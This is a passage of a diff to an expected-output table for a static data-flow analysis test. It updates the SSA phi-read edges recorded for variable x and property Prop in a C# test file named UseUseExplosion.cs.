+| UseUseExplosion.cs:24:1832:24:1832 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1843:24:1848 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:1843:24:1848 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:1843:24:1848 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:1847:24:1847 | access to local variable x | UseUseExplosion.cs:24:1843:24:1848 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:1858:24:1863 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:1858:24:1863 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1847:24:1847 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1858:24:1863 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:1858:24:1863 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:1858:24:1863 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:1862:24:1862 | access to local variable x | UseUseExplosion.cs:24:1858:24:1863 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:1873:24:1878 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:1873:24:1878 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1862:24:1862 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1873:24:1878 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:1873:24:1878 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:1873:24:1878 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:1877:24:1877 | access to local variable x | UseUseExplosion.cs:24:1873:24:1878 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:1888:24:1893 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:1888:24:1893 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1877:24:1877 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1888:24:1893 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:1888:24:1893 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:1888:24:1893 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:1892:24:1892 | access to local variable x | UseUseExplosion.cs:24:1888:24:1893 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:1903:24:1908 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:1903:24:1908 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1892:24:1892 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1903:24:1908 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:1903:24:1908 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:1903:24:1908 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:1907:24:1907 | access to local variable x | UseUseExplosion.cs:24:1903:24:1908 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:1918:24:1923 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:1918:24:1923 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1907:24:1907 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1918:24:1923 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:1918:24:1923 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:1918:24:1923 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:1922:24:1922 | access to local variable x | UseUseExplosion.cs:24:1918:24:1923 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:1933:24:1938 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:1933:24:1938 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1922:24:1922 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1933:24:1938 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:1933:24:1938 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:1933:24:1938 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:1937:24:1937 | access to local variable x | UseUseExplosion.cs:24:1933:24:1938 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:1948:24:1953 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:1948:24:1953 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1937:24:1937 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1948:24:1953 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:1948:24:1953 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:1948:24:1953 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:1952:24:1952 | access to local variable x | UseUseExplosion.cs:24:1948:24:1953 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:1963:24:1968 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:1963:24:1968 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1952:24:1952 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1963:24:1968 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:1963:24:1968 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:1963:24:1968 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:1967:24:1967 | access to local variable x | UseUseExplosion.cs:24:1963:24:1968 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:1978:24:1983 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:1978:24:1983 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1967:24:1967 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1978:24:1983 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:1978:24:1983 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:1978:24:1983 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:1982:24:1982 | access to local variable x | UseUseExplosion.cs:24:1978:24:1983 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:1993:24:1998 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:1993:24:1998 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1982:24:1982 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1993:24:1998 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:1993:24:1998 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:1993:24:1998 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:1997:24:1997 | access to local variable x | UseUseExplosion.cs:24:1993:24:1998 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2008:24:2013 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2008:24:2013 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1997:24:1997 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2008:24:2013 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2008:24:2013 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2008:24:2013 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2012:24:2012 | access to local variable x | UseUseExplosion.cs:24:2008:24:2013 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2023:24:2028 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2023:24:2028 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2012:24:2012 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2023:24:2028 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2023:24:2028 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2023:24:2028 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2027:24:2027 | access to local variable x | UseUseExplosion.cs:24:2023:24:2028 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2038:24:2043 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2038:24:2043 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2027:24:2027 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2038:24:2043 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2038:24:2043 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2038:24:2043 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2042:24:2042 | access to local variable x | UseUseExplosion.cs:24:2038:24:2043 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2053:24:2058 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2053:24:2058 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2042:24:2042 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2053:24:2058 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2053:24:2058 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2053:24:2058 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2057:24:2057 | access to local variable x | UseUseExplosion.cs:24:2053:24:2058 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2068:24:2073 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2068:24:2073 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2057:24:2057 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2068:24:2073 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2068:24:2073 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2068:24:2073 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2072:24:2072 | access to local variable x | UseUseExplosion.cs:24:2068:24:2073 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2083:24:2088 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2083:24:2088 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2072:24:2072 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2083:24:2088 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2083:24:2088 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2083:24:2088 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2087:24:2087 | access to local variable x | UseUseExplosion.cs:24:2083:24:2088 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2098:24:2103 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2098:24:2103 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2087:24:2087 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2098:24:2103 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2098:24:2103 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2098:24:2103 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2102:24:2102 | access to local variable x | UseUseExplosion.cs:24:2098:24:2103 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2113:24:2118 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2113:24:2118 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2102:24:2102 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2113:24:2118 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2113:24:2118 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2113:24:2118 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2117:24:2117 | access to local variable x | UseUseExplosion.cs:24:2113:24:2118 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2128:24:2133 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2128:24:2133 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2117:24:2117 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2128:24:2133 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2128:24:2133 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2128:24:2133 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2132:24:2132 | access to local variable x | UseUseExplosion.cs:24:2128:24:2133 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2143:24:2148 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2143:24:2148 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2132:24:2132 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2143:24:2148 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2143:24:2148 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2143:24:2148 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2147:24:2147 | access to local variable x | UseUseExplosion.cs:24:2143:24:2148 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2158:24:2163 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2158:24:2163 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2147:24:2147 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2158:24:2163 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2158:24:2163 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2158:24:2163 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2162:24:2162 | access to local variable x | UseUseExplosion.cs:24:2158:24:2163 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2173:24:2178 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2173:24:2178 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2162:24:2162 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2173:24:2178 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2173:24:2178 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2173:24:2178 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2177:24:2177 | access to local variable x | UseUseExplosion.cs:24:2173:24:2178 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2188:24:2193 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2188:24:2193 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2177:24:2177 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2188:24:2193 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2188:24:2193 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2188:24:2193 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2192:24:2192 | access to local variable x | UseUseExplosion.cs:24:2188:24:2193 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2203:24:2208 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2203:24:2208 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2192:24:2192 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2203:24:2208 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2203:24:2208 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2203:24:2208 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2207:24:2207 | access to local variable x | UseUseExplosion.cs:24:2203:24:2208 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2218:24:2223 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2218:24:2223 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2207:24:2207 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2218:24:2223 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2218:24:2223 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2218:24:2223 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2222:24:2222 | access to local variable x | UseUseExplosion.cs:24:2218:24:2223 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2233:24:2238 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2233:24:2238 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2222:24:2222 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2233:24:2238 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2233:24:2238 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2233:24:2238 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2237:24:2237 | access to local variable x | UseUseExplosion.cs:24:2233:24:2238 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2248:24:2253 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2248:24:2253 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2237:24:2237 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2248:24:2253 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2248:24:2253 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2248:24:2253 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2252:24:2252 | access to local variable x | UseUseExplosion.cs:24:2248:24:2253 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2263:24:2268 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2263:24:2268 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2252:24:2252 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2263:24:2268 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2263:24:2268 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2263:24:2268 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2267:24:2267 | access to local variable x | UseUseExplosion.cs:24:2263:24:2268 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2278:24:2283 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2278:24:2283 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2267:24:2267 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2278:24:2283 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2278:24:2283 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2278:24:2283 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2282:24:2282 | access to local variable x | UseUseExplosion.cs:24:2278:24:2283 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2293:24:2298 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2293:24:2298 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2282:24:2282 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2293:24:2298 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2293:24:2298 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2293:24:2298 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2297:24:2297 | access to local variable x | UseUseExplosion.cs:24:2293:24:2298 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2308:24:2313 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2308:24:2313 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2297:24:2297 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2308:24:2313 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2308:24:2313 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2308:24:2313 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2312:24:2312 | access to local variable x | UseUseExplosion.cs:24:2308:24:2313 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2323:24:2328 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2323:24:2328 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2312:24:2312 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2323:24:2328 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
